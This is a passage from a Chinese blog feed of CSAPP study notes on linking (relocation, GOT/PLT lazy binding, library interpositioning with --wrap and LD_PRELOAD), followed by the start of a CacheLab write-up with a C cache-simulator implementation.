mathvariant="normal">.</mi><mi>a</mi><mi>d</mi><mi>d</mi><mi>e</mi><mi>n</mi><mi>d</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">addr = (unsigned) (ADDR(r.symbol) + r.addend)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">dd</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mord mathnormal">s</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.02778em;">DD</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.03588em;">sy</span><span class="mord mathnormal">mb</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">.</span><span class="mord mathnormal">a</span><span class="mord mathnormal">dd</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mclose">)</span></span></span></span></p><p>PC 相对引用根据当前 PC 地址位置，为 PC 跳转增加计算好的偏移量，使其跳转到目标地址，常用于动态链接。</p><p>计算公式为：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>o</mi><mi>f</mi><mi>f</mi><mi>s</mi><mi>e</mi><mi>t</mi><mo>=</mo><mo stretchy="false">(</mo><mi>u</mi><mi>n</mi><mi>s</mi><mi>i</mi><mi>g</mi><mi>n</mi><mi>e</mi><mi>d</mi><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>A</mi><mi>D</mi><mi>D</mi><mi>R</mi><mo stretchy="false">(</mo><mi>r</mi><mi mathvariant="normal">.</mi><mi>s</mi><mi>y</mi><mi>m</mi><mi>b</mi><mi>o</mi><mi>l</mi><mo stretchy="false">)</mo><mo>+</mo><mi>r</mi><mi mathvariant="normal">.</mi><mi>a</mi><mi>d</mi><mi>d</mi><mi>e</mi><mi>n</mi><mi>d</mi><mo>−</mo><mi>r</mi><mi>e</mi><mi>f</mi><mi>a</mi><mi>d</mi><mi>d</mi><mi>r</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">offset = (unsigned) (ADDR(r.symbol) + r.addend - refaddr)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.10764em;">ff</span><span class="mord mathnormal">se</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mord mathnormal">s</span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.02778em;">DD</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.03588em;">sy</span><span class="mord mathnormal">mb</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">.</span><span class="mord mathnormal">a</span><span class="mord mathnormal">dd</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">re</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">a</span><span class="mord mathnormal">dd</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mclose">)</span></span></span></span></p><p>运行时跳转的地址为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>&lt;</mo><mo>−</mo><mi>P</mi><mi>C</mi><mo>+</mo><mi>o</mi><mi>f</mi><mi>f</mi><mi>s</mi><mi>e</mi><mi>t</mi></mrow><annotation encoding="application/x-tex"> PC &lt;- PC + offset </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.10764em;">ff</span><span class="mord mathnormal">se</span><span class="mord mathnormal">t</span></span></span></span>。</p><p>其中，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mi>D</mi><mi>D</mi><mi>R</mi><mo stretchy="false">(</mo><mi>r</mi><mi mathvariant="normal">.</mi><mi>s</mi><mi>y</mi><mi>m</mi><mi>b</mi><mi>o</mi><mi>l</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">ADDR(r.symbol)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.02778em;">DD</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.03588em;">sy</span><span class="mord mathnormal">mb</span><span class="mord mathnormal">o</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)</span></span></span></span> 是目标符号（函数或变量）在链接完成后，被分配到的绝对虚拟地址，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi mathvariant="normal">.</mi><mi>a</mi><mi>d</mi><mi>d</mi><mi>e</mi><mi>n</mi><mi>d</mi></mrow><annotation encoding="application/x-tex">r.addend</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">.</span><span class="mord mathnormal">a</span><span class="mord mathnormal">dd</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span></span></span></span> 是重定位条目的附加值，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi>e</mi><mi>f</mi><mi>a</mi><mi>d</mi><mi>d</mi><mi>r</mi></mrow><annotation encoding="application/x-tex">refaddr</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">re</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">a</span><span class="mord mathnormal">dd</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span> 是符号引用的地址。</p><blockquote><p>为什么动态链接用 PC 相对地址？</p><p>可执行文件总是加载到虚拟地址空间的某个位置，如果固定到某个地址，那么当然可以在编译时，已知程序加载起始地址，就计算出绝对地址了；如果不固定，那么就只能以 PC 相对的方式来计算地址了。而动态链接是运行时加载的，无法提前知道起始地址。</p></blockquote><blockquote><p>假如用了地址空间布局随机化(ASLR)，每次加载程序时，程序的起始地址都会随机变化，那么就无法使用绝对地址了，只能使用 PC 相对地址了。</p></blockquote><blockquote><p>第9章中会学习到虚拟内存的知识。</p></blockquote><h2 id="可执行目标文件"><a class="markdownIt-Anchor" href="#可执行目标文件"></a> 可执行目标文件</h2><p>TODO</p><h2 id="加载可执行文件"><a class="markdownIt-Anchor" href="#加载可执行文件"></a> 加载可执行文件</h2><p>TODO</p><h2 id="静态链接"><a class="markdownIt-Anchor" href="#静态链接"></a> 静态链接</h2><p>实际上就是如上的符号解析和地址重定位结合起来，将所有目标文件中的空位填上正确的地址，然后合并起来即可。</p><p>注意，链接时有顺序之分。</p><p>比如 <code>main2.c</code> 调用了 <code>libvector.a</code> 中的 <code>addvec</code> 函数，运行 <code>gcc -static ./libvector.a main2.c</code> 会报错：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&gt; gcc -static ./libvector.a main2.c</span><br><span class="line">/tmp/cc9XH6Rp.o: In function &#x27;main&#x27;:</span><br><span class="line">/tmp/cc9XH6Rp.o(.text+0xl8): undefined reference to &#x27;addvec&#x27;</span><br></pre></td></tr></table></figure><p>要解释这个原因，需要考虑到三个集合：</p><ul><li>链接器维护一个可重定位目标文件的集合 E (这个集合中的文件会被合并起来形成可执行文件）</li><li>一个未解析的符号（即引用了但是尚未定义的符号)集合 U</li><li>以及一个在前面输人文件中已定义的符号集合 D</li></ul><p>初始时，E、U 和 D 均为空。</p><p>输入文件可能是归档文件 <code>.a</code> 或者目标文件 <code>.o</code>。</p><p>如果是目标文件，那么会加入 E 中，并将该文件中定义的符号加入 D 中，将该文件中引用但未定义的符号加入 U 中，同时匹配 U 中的符号，如果有匹配的符号，则从 U 中删除该符号。</p><p>如果是归档文件，遍历其中所有的目标文件，如果其中的目标文件定义了 U 中的符号，那么就将该目标文件加入 E 中，修改 D 和 U 集合。如果没有匹配到任何 U 中的符号，那么就不加入 E 中。</p><p>以上流程按照参数输入的顺序进行，那么显然如果先传入 <code>./libvector.a</code>，由于 U 中没有任何符号，所以 <code>addvec</code> 不会匹配到任何符号，所以 <code>./libvector.a</code> 中的目标文件不会被加入 E 中，也就不会将 <code>addvec</code> 的定义加入 D 中，那么后续 <code>main2.c</code> 则无法找到 <code>addvec</code> 的定义了。</p><p>静态链接可以在没有依赖的情况下直接运行，但缺点显然也是体积较大，也不会在内存中共享库。</p><h2 id="动态链接"><a class="markdownIt-Anchor" href="#动态链接"></a> 动态链接</h2><p>动态链接顾名思义是在运行时才动态链接的，需要动态链接器。</p><p>最简单的方法是为每个进程分配其所需的共享库的内存，在运行开始时遍历整个可执行文件，一次性找到所有地址，当作静态编译直接填进去。</p><p>但这样的利用率很低，更好的方式是让内存中只有一份共享库。</p><p>实践上，可以分三个阶段看：</p><ol><li><p>编译/链接阶段：生成 <code>rel.dyn</code> 和 <code>rel.plt</code> 重定位节，指向了哪些地方要改地址</p></li><li><p>加载/运行阶段：按照 <code>rel</code> 表，找到对应的 GOT 位置，填入由动态加载器找到的地址</p></li><li><p>执行阶段：GOT 表中已经有目标地址，那么从执行的指令跳转到 GOT 表中的地址。</p></li></ol><h3 id="延迟绑定"><a class="markdownIt-Anchor" href="#延迟绑定"></a> 延迟绑定</h3><p>上面填入 GOT 表的阶段是 <strong>加载/运行</strong> 而不只是 <strong>加载</strong>，这是因为代码中分支很多，每个分支调用的符号加起来也很多，而运行时可能只触发到一小部分分支，如果按需加载，用时加载，可以提高速度。</p><p>方法是在跳转到 GOT 表之前，先检查是否已经填入地址了，如果没有，则先调用动态链接器来加载符号地址，填入 GOT 表中，最后再去 GOT 表中执行。</p><p>从汇编指令看就是如图流程。</p><p><img src="/images/csapp/GOT_PLT.png" alt="GOT&amp;PLT" /></p><h2 id="库打桩"><a class="markdownIt-Anchor" href="#库打桩"></a> 库打桩</h2><p>本质上是劫持目标代码中的函数调用，替换为我们自己的函数调用。</p><p>分为三种：</p><ul><li>编译时打桩</li><li>链接时打桩</li><li>运行时打桩</li></ul><p>以下都劫持 <code>malloc</code> 和 <code>free</code> 函数为例。</p><h3 id="编译时打桩"><a class="markdownIt-Anchor" href="#编译时打桩"></a> 编译时打桩</h3><p><code>malloc</code> 和 <code>free</code> 都是在 <code>malloc.h</code> 中声明的函数，那么我们可以写一样的函数声明，用 <code>-I</code> 参数传入自己的实现，让编译器优先找到我们的实现。</p><h3 id="链接时打桩"><a class="markdownIt-Anchor" href="#链接时打桩"></a> 链接时打桩</h3><p>先编译目标代码 <code>int.c</code> -&gt; <code>int.o</code> 和 <code>mymalloc.c</code> -&gt; <code>mymalloc.o</code>，然后利用链接器的 <code>--wrap</code> 参数来指定 <code>malloc</code> 和 <code>free</code> 的替换函数。</p><p>比如 <code>gcc -W1, -wrap,malloc -W1, -wrap,free -o int int.o mymalloc.o</code></p><p>会将 <code>free</code> 替换为 <code>__wrap_free</code>，将 <code>malloc</code> 替换为 <code>__wrap_malloc</code>，同时会将原来的 <code>free</code> 和 <code>malloc</code> 分别重命名为 <code>__real_free</code> 和 <code>__real_malloc</code>。</p><p>那么显然我们只需要实现 <code>__wrap_malloc</code> 和 <code>__wrap_free</code>，在其中调用 <code>__real_malloc</code> 和 <code>__real_free</code>，以及完成其他目的即可。</p><h3 id="运行时打桩"><a class="markdownIt-Anchor" href="#运行时打桩"></a> 运行时打桩</h3><p>运行时打桩需要用到动态链接库和 <code>LD_PRELOAD</code> 环境变量。</p><p><code>LD_PRELOAD</code> 可以强制优先在指定的动态链接库中查找符号定义，而不是去系统库中查找。</p><blockquote><p>如果是静态编译的，那就没法劫持了。</p></blockquote><hr /><p>Valgrind 它直接将指令翻译为 IR（中间表示），维护虚拟 CPU 和虚拟内存，有点类似虚拟机的效果了…</p><hr /><p>这一章有思路，但是写出来的细节好乱，也感觉有不少错的…日后有机会再改吧。</p><hr /><p>有如下方便的工具：</p><ul><li><code>readelf</code>：查看 ELF 文件的结构和内容</li><li><code>objdump</code>：常用于反编译二进制文件</li><li><code>ldd</code>：查看可执行文件依赖的共享库</li><li><code>nm</code>：查看目标文件中的符号表</li></ul>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/04/14/csapp/linking/</id>
    <link href="https://blog.z0z0r4.top/2026/04/14/csapp/linking/"/>
    <published>2026-04-14T11:18:00.000Z</published>
    <summary>
      <![CDATA[<p>这里讲链接，没有 Lab。</p>]]>
    </summary>
    <title>CSAPP Linking</title>
    <updated>2026-04-15T09:23:21.152Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <content>
      <![CDATA[<p>这是 CSAPP Lab 记录的第五弹————CacheLab。</p><span id="more"></span><p>在此放一张在笔记本上跑出来的 Memory Mountain。</p><p><img src="/images/csapp/memory_mountain.png" alt="Memory Mountain" /></p><p>配置如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">❯ fastfetch</span><br><span class="line">        _,met$$$$$gg.          z0z0r4@DESKTOP-TKC6ATT</span><br><span class="line">     ,g$$$$$$$$$$$$$$$P.       ----------------------</span><br><span class="line">   ,g$$P&quot;&quot;       &quot;&quot;&quot;Y$$.&quot;.     OS: Debian GNU/Linux 13 (trixie) x86_64</span><br><span class="line">  ,$$P&#x27;              `$$$.     Host: Windows Subsystem for Linux - Debian (2.6.3.0)</span><br><span class="line">&#x27;,$$P       ,ggs.     `$$b:    Kernel: Linux 6.6.87.2-microsoft-standard-WSL2</span><br><span class="line">`d$$&#x27;     ,$P&quot;&#x27;   .    $$$     Uptime: 10 hours, 52 mins</span><br><span class="line"> $$P      d$&#x27;     ,    $$P     Packages: 1446 (dpkg)</span><br><span class="line"> $$:      $$.   -    ,d$$&#x27;     Shell: zsh 5.9</span><br><span class="line"> $$;      Y$b._   _,d$P&#x27;       Display (rdp-0): 2560x1440 @ 60 Hz</span><br><span class="line"> Y$$.    `.`&quot;Y$$$$P&quot;&#x27;          WM: WSLg 1.0.71 (Wayland)</span><br><span class="line"> `$$b      &quot;-.__               Terminal: Windows Terminal</span><br><span class="line">  `Y$$b                        CPU: Intel(R) Core(TM) i5-9300H (8) @ 2.40 GHz</span><br><span class="line">   `Y$$.                       GPU 1: NVIDIA GeForce GTX 1650 (3.84 GiB) [Discrete]</span><br><span class="line">     `$$b.                     GPU 2: Intel(R) UHD Graphics 630 (128.00 MiB) [Integrated]</span><br><span class="line">       `Y$$b.                  Memory: 1.42 GiB / 15.54 GiB (9%)</span><br><span class="line">         `&quot;Y$b._               Swap: 0 B / 4.00 GiB (0%)</span><br><span class="line">             `&quot;&quot;&quot;&quot;             Disk (/): 30.70 GiB / 1006.85 GiB (3%) - ext4</span><br><span class="line">                               Disk (/mnt/c): 151.75 GiB / 169.60 GiB (89%) - 9p</span><br><span class="line">                               Disk (/mnt/d): 289.54 GiB / 305.89 GiB (95%) - 9p</span><br><span class="line">                               Disk (/mnt/e): 529.46 GiB / 931.50 GiB (57%) - 9p</span><br><span class="line">                               Local IP (eth0): 192.168.1.220/24</span><br><span class="line">                               Battery (Microsoft Hyper-V Virtual Battery): 97% [AC Connected]</span><br><span class="line">                               Locale: en_US.UTF-8</span><br></pre></td></tr></table></figure><hr /><p>PartA 参考自 <a href="https://www.caiwen.work/post/csapp-6">CSAPP第六章 - 存储器层次结构</a>（Part B 他写的太玄乎看不懂）。</p><p>在 <a href="https://csapp.cs.cmu.edu/3e/labs.html">Lab Assignments</a> 下载 <a href="https://csapp.cs.cmu.edu/3e/cachelab-handout.tar">cachelab-handout.tar</a>。</p><p>以下只需要修改 <code>csim.c</code> 和 <code>trans.c</code> 两个文件。</p><h2 id="part-a"><a class="markdownIt-Anchor" href="#part-a"></a> Part A</h2><p>按照要求完成一个简单的 cache 模拟器。</p><ol><li><p>读取用 Valgrind 的内存访问记录生成的 <code>.trace</code> 文件，每一行格式为 <code>&lt;op&gt; &lt;addr&gt; &lt;size&gt;</code>，其中 <code>&lt;op&gt;</code> 是 <code>L</code>（load）或 <code>S</code>（store）或者 <code>M</code>（modify），<code>&lt;addr&gt;</code> 是内存地址，<code>&lt;size&gt;</code> 是访问字节数。</p></li><li><p>读取 CLI 参数构建缓存，其中 <code>-s &lt;s&gt;</code> 是 set index 的位数，<code>-E &lt;E&gt;</code> 是每个 set 中的行数，<code>-b &lt;b&gt;</code> 是 block offset 的位数。</p></li><li><p>模拟访问，其中 <code>L</code> 和 <code>S</code> 代表一次访问，<code>M</code> 代表两次访问（一次 load 一次 store）。每次访问都要判断是命中、未命中还是替换。当没有空余行的时候，按照 LRU 策略，淘汰最近最久未被使用的行。（注意替换也算一次未命中）</p></li><li><p>按照读取的 <code>traces</code> 的顺序模拟对 cache 的访问，统计命中、未命中和替换的次数，传给 <code>printSummary</code> 函数输出。</p></li></ol><details><summary>参考实现</summary><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;cachelab.h&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;time.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">char</span> *file_name;</span><br><span class="line"><span class="type">int</span> s, E, b, group_cnt, trace_count;</span><br><span class="line"><span class="type">int</span> hit_count = <span class="number">0</span>, miss_count = <span class="number">0</span>, eviction_count = <span class="number">0</span>;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">cacheGroup</span> *<span class="title">cache</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">trace</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="type">char</span> operation;</span><br><span class="line">    <span class="type">int</span> address;</span><br><span class="line">    <span class="type">int</span> size;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">cacheRow</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="type">int</span> valid;</span><br><span class="line">    <span class="type">long</span> <span class="type">long</span> tag;</span><br><span class="line">    <span class="type">int</span> last_time;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">cacheGroup</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">cacheRow</span> *<span class="title">lines</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">parseAddress</span><span class="params">(<span class="type">int</span> address, <span class="type">int</span> *group_index, <span class="type">long</span> <span class="type">long</span> *tag, <span class="type">int</span> *block_offset)</span></span><br><span class="line">&#123;</span><br><span class="line">    *group_index = (address &gt;&gt; b) &amp; ((<span class="number">1</span> &lt;&lt; s) - <span class="number">1</span>);</span><br><span class="line">    *tag = (<span class="type">long</span> <span class="type">long</span>)(address &gt;&gt; (b + s));</span><br><span class="line">    *block_offset = address &amp; ((<span class="number">1</span> &lt;&lt; b) - <span class="number">1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> trace *<span class="title function_">readTraceFile</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    FILE *file = fopen(file_name, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (file == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">&quot;Error opening file: %s\n&quot;</span>, file_name);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">char</span> operation;</span><br><span class="line">    <span class="type">int</span> address, size;</span><br><span class="line">    <span class="type">int</span> traces_size = <span class="number">1000</span>;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">trace</span> *<span class="title">traces</span> =</span> <span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(<span class="keyword">struct</span> trace) * traces_size);</span><br><span class="line">    trace_count = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (<span class="built_in">fscanf</span>(file, <span class="string">&quot; %c %x,%d&quot;</span>, &amp;operation, &amp;address, &amp;size) == <span class="number">3</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="class"><span class="keyword">struct</span> <span class="title">trace</span> <span class="title">t</span> =</span> &#123;operation, address, size&#125;;</span><br><span class="line">        *(traces + trace_count++) = t;</span><br><span class="line">        <span class="keyword">if</span> (trace_count &gt;= traces_size)</span><br><span class="line">        &#123;</span><br><span class="line">            traces_size *= <span class="number">2</span>;</span><br><span class="line">            traces = <span class="built_in">realloc</span>(traces, <span class="keyword">sizeof</span>(<span class="keyword">struct</span> trace) * traces_size);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    fclose(file);</span><br><span class="line">    <span class="keyword">return</span> traces;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">str2int</span><span class="params">(<span class="type">char</span> *str)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> result = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (*str)</span><br><span class="line">    &#123;</span><br><span class="line">        result = result * <span class="number">10</span> + (*str - <span class="string">&#x27;0&#x27;</span>);</span><br><span class="line">        str++;</span><br><span class="line">    &#125;</span><br><span class="line">    <span 